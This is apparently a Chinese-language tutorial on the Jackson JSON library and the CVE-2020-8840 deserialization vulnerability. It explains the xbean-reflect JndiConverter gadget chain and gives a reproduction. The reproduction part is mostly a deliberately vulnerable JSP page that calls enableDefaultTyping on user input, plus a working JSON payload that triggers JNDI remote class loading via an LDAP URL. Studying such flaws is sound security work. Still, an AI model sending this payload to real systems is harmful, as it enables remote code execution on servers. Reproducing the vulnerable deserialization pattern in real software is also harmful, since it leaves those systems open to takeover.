jackson介绍
Jackson是一个能够将java对象序列化为JSON字符串,也能够将JSON字符串反序列化为java对象的框架。是基于Java平台的一套数据处理工具,被称为”最好的Java Json解析器”。它可以使我们高效、简便的处理json字符串。
序列化
序列化函数为databind.ObjectMapper。
当Jackson开启某些配置时,会允许开发者在反序列化时指定要还原的类,过程中调用其构造方法setter方法或某些特殊的getter方法,当这些方法中存在一些危险操作时就造成了代码执行。
Jackson核心模块组成
jackson-core核心包用于提供基于"流模式"解析的相关API,它包括 JsonPaser和JsonGenerator。Jackson内部实现正是通过高性能的流模式 API的JsonGenerator和JsonParser来生成和解析json。
jackson-annotations,注解包,提供标准注解功能;
jackson-databind,数据绑定包,提供基于"对象绑定" 解析的相关 API(ObjectMapper)和"树模型" 解析的相关API(JsonNode);基于"对象绑定" 解析的API和"树模型"解析的API依赖基于"流模式"解析的API。
CVE-2020-8840
此次漏洞中攻击者可利用xbean-reflect的利用链触发JNDI远程类加载从而达到远程代码执行。
由于缺少某些xbean-reflect/JNDI黑名单类,如org.apache.xbean.propertyeditor.JndiConverter,可导致攻击者使用JNDI注入的方式实现远程代码执行
通过传进参数asText,触发setter,setAsText()函数,随后跟进toObject()
函数,最终进到JndiConverter
重写的toObjectImp()
函数,此时出现经典的JNDI注入,text 刚好就是我们传进的asText,我们可控,从而达到命令执行目的
复现
环境搭建
CVE-2020-8840/lib at master · fairyming/CVE-2020-8840 · GitHub
安装好tomcat后导入相关库
写一个利用demo
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>
<%@ page import="java.io.*,java.util.*" %>
<%@ page import="com.fasterxml.jackson.databind.ObjectMapper" %>
<%
String json = request.getParameter("json");
String error = null;
Boolean hasjson = false;
if (json == null) {
StringBuilder buffer = new StringBuilder();
BufferedReader reader = request.getReader();
String line;
while ((line = reader.readLine()) != null) {
buffer.append(line);
buffer.append(System.lineSeparator());
}
json = buffer.toString();
}
if (json != null && !json.isEmpty()) {
hasjson = true;
try {
ObjectMapper mapper = new ObjectMapper();
mapper.enableDefaultTyping();
mapper.readValue(json, Object.class);
} catch (Exception e) {
System.out.println(e);
error = e.toString();
}
} else {
json = "[\"org.apache.xbean.propertyeditor.JndiConverter\", {\"asText\":\"ldap://localhost:1389/Exploit\"}]";
}
%>
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>Jackson test</title>
</head>
<body>
<h1>Jackson</h1>
<form action="" method="POST">
<div>
<textarea style="padding: 8px;" resize="true" name="json" cols="100" rows="12" placeholder="{}"><%=json %></textarea>
</div>
<br/>
<input type="submit" value="JSON.parse" />
</form>
<br/>
<%
if (hasjson) {
%>
<hr/>
<h2>Executed Done</h2>
<p>以下如果提示错误,实际可能攻击成功了,需要结合最终行为来判断.</p>
<%
if (error != null) {
%><pre style="padding: 8px;"><%=error %></pre><%
}
}
%>
</body>
</html>
利用方式
访问该页面,发送payload数据
payload
[
"org.apache.xbean.propertyeditor.JndiConverter",
{
"asText":"ldap://localhost:1099/Exploit"
}
]
具体利用方式参考另外一篇FastJson反序列化,所不同的是发送的payload为上面这个